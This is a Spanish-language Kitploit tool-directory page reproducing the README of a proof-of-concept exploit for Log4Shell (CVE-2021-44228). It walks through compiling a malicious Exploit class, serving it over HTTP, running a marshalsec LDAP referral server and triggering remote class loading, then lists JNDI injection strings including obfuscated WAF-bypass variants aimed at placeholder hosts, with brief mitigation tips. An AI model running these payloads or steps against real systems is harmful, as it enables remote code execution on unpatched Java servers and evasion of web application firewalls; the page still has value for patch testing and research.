Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228-Apache-Log4j-Rce — Apache Log4j Ejecución remota de código | Kitploit
Herramientas/GitHubGitHub/tangxiaofeng7/cve-2021-44228-apache-log4j-rce
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubtangxiaofeng7/cve-2021-44228-apache-log4j-rce

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-44228-Apache-Log4j-Rce

Apache Log4j Ejecución remota de código

Ver Repositorio
8930hace 3 añosRevisado por Kitploit

CVE-2021-44228(Apache Log4j Ejecución Remota de Código)

all log4j-core versions >=2.0-beta9 and <=2.14.1

Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualices a la última versión.

Avisos de seguridad / Boletines vinculados a Log4Shell (CVE-2021-44228)

Uso:

descarga este proyecto, compila el código del exploit blob/master/src/main/java/Exploit.java e inicia un servidor web que permita descargar el binario compilado.

root@kitploit:~
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure python webserver is running the same directory as Exploit.class, to test
  curl -I 127.0.0.1:8888/Exploit.class

descarga otro proyecto y ejecuta la implementación del servidor LDAP que devuelve referencias JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

compila y ejecuta el código de activación (simula un ataque de log4j en un servidor web Java vulnerable) blob/master/src/main/java/log4j.java, y aparecerá tu aplicación de calculadora.

root@kitploit:~
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -


Consejos:

No confíes en que una versión actual de Java te salve. Actualiza Log4 (o elimina la búsqueda JNDI). Desactiva la expansión (de todos modos, parece una muy mala idea).

Bypass de rc1

Por ejemplo:

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}

Bypass de WAF

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

No confíes en el firewall de aplicaciones web.

Detalles de la vulnerabilidad

Los Lookups proporcionan una forma de añadir valores a la configuración de Log4j en lugares arbitrarios.

Lookups

Los métodos que provocan la fuga en finally

root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()

Método de comprobación simple

Si quieres realizar pruebas de caja negra, te sugiero que hagas un escaneo pasivo.

BurpLog4jScan

¡¡¡Diviértete!!! BurpLog4jScan.png

Estrellas a lo largo del tiempo

Stargazers over time

Descargar herramienta